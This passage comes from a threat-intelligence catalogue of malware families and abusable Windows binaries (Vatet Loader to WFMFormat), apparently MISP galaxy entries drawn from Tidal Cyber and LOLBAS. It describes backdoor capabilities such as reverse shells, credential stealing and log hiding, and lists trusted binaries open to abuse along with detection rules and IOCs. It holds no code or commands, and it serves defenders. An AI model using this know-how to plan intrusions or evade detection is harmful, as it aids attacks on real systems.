share.^{[[Unit 42 November 7 2020](/references/91ebfec7-4e67-4972-9f78-5a21da212a6f)]}

The tag is: *misp-galaxy:software="Vatet Loader"*

vbc

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary file used for compile vbs code

Author: Lior Adar

Paths: * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe * C:\Windows\Microsoft.NET\Framework64\v3.5\vbc.exe

Resources: None Provided

Detection: * Sigma: [proc_creation_win_lolbin_visual_basic_compiler.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml) * Elastic: [defense_evasion_dotnet_compiler_parent_process.toml]([vbc.exe - LOLBAS Project](/references/25eb4048-ee6d-44ca-a70b-37605028bd3c)]</sup>

The tag is: *misp-galaxy:software="vbc"*

VBShower

[VBShower](https://app.tidalcyber.com/software/150b6079-bb10-48a8-b570-fbe8b0e3287c) is a backdoor that has been used by [Inception](https://app.tidalcyber.com/groups/d7c58e7f-f0b0-44c6-b205-5adcfb56f0e6) since at least 2019. [VBShower](https://app.tidalcyber.com/software/150b6079-bb10-48a8-b570-fbe8b0e3287c) has been used as a downloader for second stage payloads, including [PowerShower]([Kaspersky Cloud Atlas August 2019](https://app.tidalcyber.com/references/4c3ae600-0787-4847-b528-ae3e8ff1b5ef)]</sup>

The tag is: *misp-galaxy:software="VBShower"*

Veaty

Veaty is a .NET-based backdoor malware linked to the OilRig Iranian espionage group, which uses emails for command and control communication.^{[[Check Point Research September 11 2024](/references/53320d81-4060-4414-b5b8-21d09362bc44)]}

The tag is: *misp-galaxy:software="Veaty"*

Veeam Credential Recovery

Veeam Credential Recovery are scripts for recovering passwords from the Veeam Backup and Replication credential manager.^{[[Arctic Wolf Fog Ransomware June 4 2024](/references/86111971-cd37-4a87-bcaa-3e0f6326da5c)]}^{[[GitHub February 5 2021](/references/59d32d0e-dd45-4a3f-8b67-0cae6d8eabd9)]}^{[[Trend Micro June 30 2023](/references/3bcad876-e3aa-482a-8ffe-aa453fb55ff6)]}

The tag is: *misp-galaxy:software="Veeam Credential Recovery"*

VenomRAT

A purportedly legitimate "remote access tool" with features for anonymity, data exfiltration, command and control connectivity, stealth, and information stealing capabilities such as keylogging and crypto wallet theft. According to researchers, the software's developer mainly advertises its tools on dark web forums.^{[[Cyberint October 23 2023](/references/2df3afe7-e33a-4db9-8ee6-937772168a04)]}

The tag is: *misp-galaxy:software="VenomRAT"*

Venus Ransomware

A prominent ransomware family.^{[[HC3 Analyst Note Venus Ransomware November 2022](/references/bd6e6a59-3a73-48f6-84cd-e7c027c8671f)]}

The tag is: *misp-galaxy:software="Venus Ransomware"*

Verclsid

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used to verify a COM object before it is instantiated by Windows Explorer

Author: @bohops

Paths: * C:\Windows\System32\verclsid.exe * C:\Windows\SysWOW64\verclsid.exe

Resources: * https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5 * https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/

Detection: * Sigma: [proc_creation_win_verclsid_runs_com.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/

proc_creation_win_verclsid_runs_com.yml) * Splunk: [verclsid_clsid_execution.yml]([LOLBAS Verclsid(/references/63ac9e95-aad8-4735-9e63-f45d8c499030)]</sup>

The tag is: *misp-galaxy:software="Verclsid"*

VERMIN

[VERMIN](https://app.tidalcyber.com/software/afa4023f-aa2e-45d6-bb3c-38e61f876eac) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. ^{[[Unit 42 VERMIN Jan 2018](https://app.tidalcyber.com/references/0d6db249-9368-495e-9f1f-c7f10041f5ff)]}

The tag is: *misp-galaxy:software="VERMIN"*

VersaMem

[VersaMem](https://app.tidalcyber.com/software/ea857bb3-408e-566f-a693-96d9dc4f3c90) is a web shell designed for deployment to Versa Director servers following exploitation. Discovered in August 2024, [VersaMem](https://app.tidalcyber.com/software/ea857bb3-408e-566f-a693-96d9dc4f3c90) was used during [Versa Director Zero Day Exploitation](https://app.tidalcyber.com/campaigns/e28a09b7-885f-5556-b56e-7ad3e0581ac0) by [Volt Typhoon](https://app.tidalcyber.com/groups/4ea1245f-3f35-5168-bd10-1fc49142fd4e) to target ISPs and MSPs. [VersaMem](https://app.tidalcyber.com/software/ea857bb3-408e-566f-a693-96d9dc4f3c90) is deployed as a Java Archive (JAR) and allows for credential capture for Versa Director logon activity as well as follow-on execution of arbitrary Java payloads.^{[[Lumen Versa 2024](https://app.tidalcyber.com/references/1d7f40f7-76e6-5ba2-8561-17f3646cf407)]}

The tag is: *misp-galaxy:software="VersaMem"*

Vidar Stealer

Vidar Stealer is one of the most heavily used information & credential stealers ("infostealers") in recent years. While many of today's most popular infostealers were developed relatively recently, Vidar is more established, having been released in 2018. Its developers continue to add new capabilities, however, for example to improve the malware's stealth.^{[[Minerva Labs Vidar Stealer Evasion](/references/ce9714d3-7f7c-4068-bcc8-0f0eeaf0dc0b)]}

More details on the shifting infostealer landscape, the rising threat posed by infostealers to large and small organizations, and defending against top infostealer TTPs can be found in the Tidal Cyber blog series: Part 1 (https://www.tidalcyber.com/blog/big-game-stealing-part-1-the-infostealer-landscape-rising-infostealer-threats-to-businesses-w), Part 2 (https://www.tidalcyber.com/blog/big-game-stealing-part-2-defenses-for-top-infostealer-techniques).

The tag is: *misp-galaxy:software="Vidar Stealer"*

VIRTUALGATE (Windows)

VIRTUALGATE (Windows) is a utility program written in C that is comprised of two (2) parts, a dropper, and the payload. The memory only dropper deobfuscates a second stage DLL payload that uses VMware's virtual machine communication interface (VMCI) sockets to run commands on a guest virtual machine from a hypervisor host, or between guest virtual machines on the same host.^{[[Google Cloud September 29 2022](/references/e7668f6d-e93c-4e86-9dee-00f12c15dae4)]}

The tag is: *misp-galaxy:software="VIRTUALGATE (Windows)"*

VIRTUALPEER

VIRTUALPEER is a utility used by the suspected China-nexus cyber espionage actor UNC3886.^{[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-ddc6c77c53ee)]}

The tag is: *misp-galaxy:software="VIRTUALPEER"*

VIRTUALPIE (VMware ESXi)

VIRTUALPIE (VMware ESXi) is a lightweight backdoor written in Python that spawns a daemonized IPv6 listener on a hardcoded port on a VMware ESXi server. It supports arbitrary command line execution, file transfer capabilities, and reverse shell capabilities. Communications use a custom protocol and are encrypted using RC4.^{[[Google Cloud September 29 2022](/references/e7668f6d-e93c-4e86-9dee-00f12c15dae4)]}

The tag is: *misp-galaxy:software="VIRTUALPIE (VMware ESXi)"*

VIRTUALPITA (LINUX)

VIRTUALPITA (LINUX) is a backdoor which listens on TCP port 7475 and is persistent as an init.d startup service on Linux vCenter systems. The malware is capable of arbitrary command execution, file transfer capabilities and the ability to start/stop vmsyslogd.^{[[Google Cloud September 29 2022](/references/e7668f6d-e93c-4e86-9dee-00f12c15dae4)]}

The tag is: *misp-galaxy:software="VIRTUALPITA (LINUX)"*

VIRTUALPITA (VMware ESXi)

VIRTUALPITA (VMware ESXi) is a 64-bit passive backdoor that creates a listener on a hardcoded port number on a VMware ESXi server. The backdoor often utilizes VMware service names and ports to masquerade as a legitimate service. It supports arbitrary command execution, file upload and download, and the ability to start and stop vmsyslogd. During arbitrary command execution, the malware also sets the environmental variable HISTFILE to 0 to further hide activity that occurred on the machine. Variants of this malware were found to listen on a Virtual Machine Communication Interface (VMCI) and log this activity to the file sysclog.<sup>[[Google Cloud

September 29 2022](/references/e7668f6d-e93c-4e86-9dee-00f12c15dae4)]</sup>

The tag is: *misp-galaxy:software="VIRTUALPITA (VMware ESXi)"*

VIRTUALSHINE

VIRTUALSHINE is a simple VMware VMCI sockets-based backdoor that provides access to a bash shell. VIRTUALSHINE connects to a specified target, which streams the bash pty.^{[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-ddc6c77c53ee)]}

The tag is: *misp-galaxy:software="VIRTUALSHINE"*

VIRTUALSPHERE

VIRTUALSPHERE is the controller part of a simple VMCI-based backdoor. The malware transmits the second command-line argument over the VMCI socket to the server running inside the target VM.^{[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-ddc6c77c53ee)]}

The tag is: *misp-galaxy:software="VIRTUALSPHERE"*

Visio

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Visio Executable

Author: Avihay Eldad

Paths: * C:\Program Files (x86)\Microsoft Office\Office14\Visio.exe * C:\Program Files\Microsoft Office\Office14\Visio.exe * C:\Program Files (x86)\Microsoft Office\Office15\Visio.exe * C:\Program Files\Microsoft Office\Office15\Visio.exe * C:\Program Files (x86)\Microsoft Office\Office16\Visio.exe * C:\Program Files\Microsoft Office\Office16\Visio.exe * C:\Program Files (x86)\Microsoft Office\root\Office14\Visio.exe * C:\Program Files\Microsoft Office\root\Office14\Visio.exe * C:\Program Files (x86)\Microsoft Office\root\Office15\Visio.exe * C:\Program Files\Microsoft Office\root\Office15\Visio.exe * C:\Program Files (x86)\Microsoft Office\root\Office16\Visio.exe * C:\Program Files\Microsoft Office\root\Office16\Visio.exe

Resources: None Provided

Detection: * IOC: URL on a visio.exe command line * IOC: visio.exe making unexpected network connections or DNS requests^{[[Visio.exe - LOLBAS Project](/references/e92c169e-2096-4b07-b0d1-06492ab61019)]}

The tag is: *misp-galaxy:software="Visio"*

VisualUiaVerifyNative

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls.

Author: Jimmy (@bohops)

Paths: * c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\arm64\UIAVerify\VisualUiaVerifyNative.exe * c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\x64\UIAVerify\VisualUiaVerifyNative.exe * c:\Program Files (x86)\Windows Kits\10\bin\[SDK version]\UIAVerify\VisualUiaVerifyNative.exe

Resources: * https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/ * https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad

Detection: * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * Sigma: [proc_creation_win_lolbin_visualuiaverifynative.yml](https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml) * IOC: As a Windows SDK binary, execution on a system may be suspicious^{[[VisualUiaVerifyNative.exe - LOLBAS Project](/references/b17be296-15ad-468f-8157-8cb4093b2e97)]}

The tag is: *misp-galaxy:software="VisualUiaVerifyNative"*

VMware Tools

VMware Tools is a set of services and modules that enable several features in VMware products for better management of, and seamless user interactions with, guests operating systems.^{[[Support Portal January 1 2024](/references/7d22be2c-f906-4fd4-9634-520c54b84ad7)]}

The tag is: *misp-galaxy:software="VMware Tools"*

VMware vCenter

VMware vCenter is advanced server management software that provides a centralized platform for controlling your VMware vSphere environments, allowing you to automate and deliver a virtual

infrastructure across the hybrid cloud with confidence.^{[[Vmware vCenter](/references/4138f502-bb9b-41b7-8b3f-a7b66c7f6dd0)]}

The tag is: *misp-galaxy:software="VMware vCenter"*

Voldemort

According to Proofpoint researchers, Voldemort is a custom backdoor malware written in C. It has the ability to collect victim system information and to drop additional payloads.^{[[Proofpoint August 29 2024](/references/548f23b2-3ab6-4ea0-839f-8f9c8745d91d)]}

The tag is: *misp-galaxy:software="Voldemort"*

Volgmer

[Volgmer](https://app.tidalcyber.com/software/7fcfba45-5752-4f0c-8023-db67729ae34e) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. ^{[[US-CERT Volgmer Nov 2017](https://app.tidalcyber.com/references/c48c7ac0-8d55-4b62-9606-a9ce420459b6)]}

The tag is: *misp-galaxy:software="Volgmer"*

VPNFilter

[VPNFilter](https://app.tidalcyber.com/software/b2ea039c-3cd4-54f4-a46f-9ee79fe6350b) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://app.tidalcyber.com/software/b2ea039c-3cd4-54f4-a46f-9ee79fe6350b) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. ^{[[William Largent June 2018](https://app.tidalcyber.com/references/ccc34a5f-e17d-5b4c-84cf-ccff3ff9d845)]} ^{[[Carl Hurd March 2019](https://app.tidalcyber.com/references/8a4e28f9-b0ba-56ad-a957-b5913bf9a7d5)]} [VPNFilter](https://app.tidalcyber.com/software/b2ea039c-3cd4-54f4-a46f-9ee79fe6350b) was assessed to be replaced by [Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-f2f45fcfc666) with [Cyclops Blink](https://app.tidalcyber.com/software/68792756-7dbf-41fd-8d48-ac3cc2b52712) starting in 2019.^{[[NCSC CISA Cyclops Blink Advisory February 2022](https://app.tidalcyber.com/references/bee6cf85-5cb9-4000-b82e-9e15aebfbece)]}

The tag is: *misp-galaxy:software="VPNFilter"*

VSDiagnostics

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Command-line tool used for performing diagnostics.

Author: Bobby Cooke

Paths: * C:\Program Files\Microsoft Visual Studio\2022\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe

Resources: * https://twitter.com/0xBoku/status/1679200664013135872

Detection: * Sigma: [https://github.com/tsale/Sigma_rules/blob/d5b4a09418edfeeb3a2d654f556d5bca82003cd7/LOL_BINs/VSDiagnostics_LoLBin.yml](([VSDiagnostics.exe - LOLBAS Project(/references/b4658fc0-af16-45b1-8403-a9676760a36a)]</sup>

The tag is: *misp-galaxy:software="VSDiagnostics"*

Vshadow

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: VShadow is a command-line tool that can be used to create and manage volume shadow copies.

Author: Ayberk Halaç

Paths: * C:\Program Files (x86)\Windows Kits\10\bin\10.0.XXXXX.0\x64\vshadow.exe

Resources: * https://learn.microsoft.com/en-us/windows/win32/vss/vshadow-tool-and-sample

Detection: * IOC: vshadow.exe usage with -exec parameter^{[[Vshadow.exe - LOLBAS Project](/references/ae3b1e26-d7d7-4049-b4a7-80cd2b149b7c)]}

The tag is: *misp-galaxy:software="Vshadow"*

VSIISExeLauncher

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary will execute specified binary. Part of VS/VScode installation.

Author: timwhite

Paths: * C:\Program Files (x86)\Microsoft Visual

Studio\2019\Community\Common7\IDE\Extensions\Microsoft\Web Tools\ProjectSystem\VSIISExeLauncher.exe

Resources: * https://github.com/timwhitez

Detection: * Sigma: [proc_creation_win_lolbin_vsiisexelauncher.yml](https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml) * IOC: VSIISExeLauncher.exe spawned an unknown process^{[[VSIISExeLauncher.exe - LOLBAS Project](/references/e2fda344-77b8-4650-a7da-1e422db6d3a1)]}

The tag is: *misp-galaxy:software="VSIISExeLauncher"*

vsjitdebugger

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Just-In-Time (JIT) debugger included with Visual Studio

Author: Oddvar Moe

Paths: * c:\windows\system32\vsjitdebugger.exe

Resources: * https://twitter.com/pabraeken/status/990758590020452353

Detection: * Sigma: [proc_creation_win_susp_use_of_vsjitdebugger_bin.yml]([vsjitdebugger.exe - LOLBAS Project](/references/94a880fa-70b0-46c3-997e-b22dc9180134)]</sup>

The tag is: *misp-galaxy:software="vsjitdebugger"*

VSLaunchBrowser

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Visual Studio browser launcher tool for web applications debugging

Author: Avihay Eldad

Paths: * C:\Program Files\Microsoft Visual Studio\<version>\Community\Common7\IDE\VSLaunchBrowser.exe * C:\Program Files (x86)\Microsoft Visual Studio\<version>\Community\Common7\IDE\VSLaunchBrowser.exe

Resources: None Provided

Detection: * IOC: cmd.exe as sub-process of VSLaunchBrowser * IOC: URL on a VSLaunchBrowser command line * IOC: VSLaunchBrowser making unexpected network connections or DNS requests^{[[VSLaunchBrowser.exe - LOLBAS Project](/references/d88f1249-6a39-496c-afc8-8032457740e8)]}

The tag is: *misp-galaxy:software="VSLaunchBrowser"*

vsls-agent

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Agent for Visual Studio Live Share (Code Collaboration)

Author: Jimmy (@bohops)

Paths: * c:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\Extensions\Microsoft\LiveShare\Agent\vsls-agent.exe

Resources: * https://twitter.com/bohops/status/1583916360404729857

Detection: * Sigma: [proc_creation_win_vslsagent_agentextensionpath_load.yml]([vsls-agent.exe - LOLBAS Project](/references/325eab54-bcdd-4a12-ab41-aaf06a0405e9)]</sup>

The tag is: *misp-galaxy:software="vsls-agent"*

VSS Copying Tool (Play Ransomware)

Play ransomware operators are known to use a custom tool that serves as an interface for interacting with Windows Volume Shadow Copy Service ("VSS") over APIs. The tool can enumerate and copy files and folders in a VSS snapshot prior to encryption to serve as backups.^{[[Symantec Play Ransomware April 19 2023](/references/a78613a5-ce17-4d11-8f2f-3e642cd7673c)]}

The tag is: *misp-galaxy:software="VSS Copying Tool (Play Ransomware)"*

vstest.console

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: VSTest.Console.exe is the command-line tool to run tests

Author: Onat Uzunyayla

Paths: * C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\CommonExtensions\Microsoft\TestWindow\vstest.console.exe * C:\Program Files (x86)\Microsoft Visual Studio\2022\TestAgent\Common7\IDE\CommonExtensions\Microsoft\TestWindow\vstest.console.exe

Resources: * https://learn.microsoft.com/en-us/visualstudio/test/vstest-console-options?view=vs-2022

Detection: * IOC: vstest.console.exe spawning unexpected processes^{[[vstest.console.exe - LOLBAS Project](/references/70c168a0-9ddf-408d-ba29-885c0c5c936a)]}

The tag is: *misp-galaxy:software="vstest.console"*

Wab

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows address book manager

Author: Oddvar Moe

Paths: * C:\Program Files\Windows Mail\wab.exe * C:\Program Files (x86)\Windows Mail\wab.exe

Resources: * https://twitter.com/Hexacorn/status/991447379864932352 * http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/

Detection: * Sigma: [registry_set_wab_dllpath_reg_change.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml) * IOC: WAB.exe should normally never be used^{[[Wab.exe - LOLBAS Project](/references/c432556e-c7f9-4e36-af7e-d7bea6f51e95)]}

The tag is: *misp-galaxy:software="Wab"*

WannaCry

[WannaCry](https://app.tidalcyber.com/software/6e7d1bcf-a308-4861-8aa5-0f4c6f126b0a) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.^{[[LogRhythm WannaCry](https://app.tidalcyber.com/references/305d0742-154a-44af-8686-c6d8bd7f8636)]}^{[[US-CERT WannaCry 2017](https://app.tidalcyber.com/references/349b8e9d-7172-4d01-b150-f0371d038b7e)]}^{[[Washington Post WannaCry 2017](https://app.tidalcyber.com/references/bbf9b08a-072c-4fb9-8c3c-cb6f91e8940c)]}^{[[FireEye WannaCry 2017](https://app.tidalcyber.com/references/34b15fe1-c550-4150-87bc-ac9662547247)]}

The tag is: *misp-galaxy:software="WannaCry"*

WARPWIRE

[WARPWIRE](https://app.tidalcyber.com/software/9a592b49-1701-5e4c-95cf-9b8c98b80527) is a Javascript credential stealer that targets plaintext passwords and usernames for exfiltration that was used during [Cutting Edge](https://app.tidalcyber.com/campaigns/4e605e33-57fe-5bb2-b0ad-ec146aac041b) to target Ivanti Connect Secure VPNs.^{[[Mandiant Cutting Edge January 2024](https://app.tidalcyber.com/references/9d9ec923-89c1-5155-ae6e-98d4776d4250)]}^{[[Mandiant Cutting Edge Part 2 January 2024](https://app.tidalcyber.com/references/5209d259-4293-58c0-bbdc-f30ff77d57f7)]}

The tag is: *misp-galaxy:software="WARPWIRE"*

WarzoneRAT

[WarzoneRAT](https://app.tidalcyber.com/software/cfebe868-15cb-4be5-b7ed-38b52f2a0722) is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.^{[[Check Point Warzone Feb 2020](https://app.tidalcyber.com/references/c214c36e-2bc7-4b98-a74e-529aae99f9cf)]}^{[[Uptycs Warzone UAC Bypass November 2020](https://app.tidalcyber.com/references/1324b314-a4d9-43e7-81d6-70b6917fe527)]}

The tag is: *misp-galaxy:software="WarzoneRAT"*

WastedLocker

[WastedLocker](https://app.tidalcyber.com/software/0ba6ee8d-2b29-4980-8e55-348ea05f00ad) is a ransomware family attributed to [Indrik Spider](https://app.tidalcyber.com/groups/3c7ad595-1940-40fc-b9ca-3e649c1e5d87) that has been used since at least May 2020. [WastedLocker](https://app.tidalcyber.com/software/0ba6ee8d-2b29-4980-8e55-348ea05f00ad) has been used against a broad variety of sectors, including manufacturing, information technology, and media.^{[[Symantec WastedLocker June 2020](https://app.tidalcyber.com/references/061d8f74-a202-4089-acae-687e4f96933b)]}^{[[NCC Group WastedLocker June 2020](https://app.tidalcyber.com/references/1520f2e5-2689-428f-9ee4-05e153a52381)]}^{[[Sentinel Labs WastedLocker July 2020](https://app.tidalcyber.com/references/5ed4eb07-cc90-46bc-8527-0bb59e1eefe1)]}

The tag is: *misp-galaxy:software="WastedLocker"*

WatchDog

WatchDog is a simple program that uses watchdog to monitor directories specified as command-line arguments and logs events generated.^{[[GitHub October 23 2010](/references/4de5bd9d-ebb7-42b4-81d9-279433e86434)]}

The tag is: *misp-galaxy:software="WatchDog"*

Waterbear

[Waterbear](https://app.tidalcyber.com/software/56872a5b-dc01-455c-85d5-06c577abb030) is modular malware attributed to [BlackTech](https://app.tidalcyber.com/groups/528ab2ea-b8f1-44d8-8831-2a89fefd97cb) that has been used primarily for lateral movement, decrypting, and triggering payloads and is capable of hiding network behaviors.^{[[Trend Micro Waterbear December 2019](https://app.tidalcyber.com/references/bf320133-3823-4232-b7d2-d07da9bbccc2)]}

The tag is: *misp-galaxy:software="Waterbear"*

wbadmin

wbadmin enables users to back up and restore the operating system, volumes, files, folders, and applications from a command prompt.^{[[MicrosoftLearn March 2 2023](/references/073244c2-95fc-4f77-8857-f6ee9a65ff4e)]}

The tag is: *misp-galaxy:software="wbadmin"*

wbemtest

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: WMI/WBEM Test Binary

Author: saulpanders

Paths: * c:\windows\system32\wbem\wbemtest.exe

Resources: * https://saulpanders.github.io/2025/01/20/lolbas-wbemtest.html

Detection: * IOC: wbemtest.exe binary spawned^{[[wbemtest.exe - LOLBAS Project](/references/6622b44f-7065-4572-a40c-2ad5293c305e)]}

The tag is: *misp-galaxy:software="wbemtest"*

WEBC2

[WEBC2](https://app.tidalcyber.com/software/f228af8f-8938-4836-9461-c6ca220ed7c5) is a family of backdoor malware used by [APT1](https://app.tidalcyber.com/groups/5307bba1-2674-4fbd-bfd5-1db1ae06fc5f) as early as July 2006. [WEBC2](https://app.tidalcyber.com/software/f228af8f-8938-4836-9461-c6ca220ed7c5) backdoors are designed to retrieve a webpage, with commands hidden in HTML comments or special tags, from a predetermined C2 server. ^{[[Mandiant APT1 Appendix](https://app.tidalcyber.com/references/1f31c09c-6a93-4142-8333-154138c1d70a)]}<sup>[[Mandiant APT1](https://app.tidalcyber.com/references/865eba93-cf6a-

4e41-bc09-de9b0b3c2669)]</sup>

The tag is: *misp-galaxy:software="WEBC2"*

WellMail

[WellMail](https://app.tidalcyber.com/software/b936a1b3-5493-4d6c-9b69-29addeace418) is a lightweight malware written in Golang used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447), similar in design and structure to [WellMess]([CISA WellMail July 2020(https://app.tidalcyber.com/references/2f33b88a-a8dd-445b-a34f-e356b94bed35)]</sup>^{[[NCSC APT29 July 2020](https://app.tidalcyber.com/references/28da86a6-4ca1-4bb4-a401-d4aa469c0034)]}

The tag is: *misp-galaxy:software="WellMail"*

WellMess

[WellMess](https://app.tidalcyber.com/software/20725ec7-ee35-44cf-bed6-91158aa03ce4) is lightweight malware family with variants written in .NET and Golang that has been in use since at least 2018 by [APT29]([CISA WellMess July 2020(https://app.tidalcyber.com/references/40e9eda2-51a2-4fd8-b0b1-7d2c6deca820)]</sup>^{[[PWC WellMess July 2020](https://app.tidalcyber.com/references/22794e37-3c55-444a-b659-e5a1a6bc2da0)]}^{[[NCSC APT29 July 2020](https://app.tidalcyber.com/references/28da86a6-4ca1-4bb4-a401-d4aa469c0034)]}

The tag is: *misp-galaxy:software="WellMess"*

Wevtutil

[Wevtutil](https://app.tidalcyber.com/software/2bcbcea6-192a-4501-aab1-1edde53875fa) is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.^{[[Wevtutil Microsoft Documentation](https://app.tidalcyber.com/references/25511dde-9e13-4e03-8ae4-2495e9f5eb5e)]}

The tag is: *misp-galaxy:software="Wevtutil"*

Wfc

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: The Workflow Command-line Compiler tool is included with the Windows Software Development Kit (SDK).

Author: Jimmy (@bohops)

Paths: * C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\wfc.exe

Resources: * https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/

Detection: * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * Sigma: [proc_creation_win_lolbin_wfc.yml](https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml) * IOC: As a Windows SDK binary, execution on a system may be suspicious^{[[Wfc.exe - LOLBAS Project](/references/a937012a-01c8-457c-8808-47c1753e8781)]}

The tag is: *misp-galaxy:software="Wfc"*

WFMFormat

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Command-line tool used for pretty-print a dump file generated by Message Farm Analyzer tool.

Author: Tim Baker

Paths: * C:\there\is\no\default\installation\path\WFMFormat.exe

Resources: * https://www.microsoft.com/en-us/download/details.aspx?id=103244

Detection: * IOC: Child process from WFMFormat.exe * IOC: tracerpt.exe processes located anywhere other than c:\windows\system32^{[[WFMFormat.exe - LOLBAS Project](/references/fa9a472d-d982-4e0c-a68d-1541f1b31b9c)]}

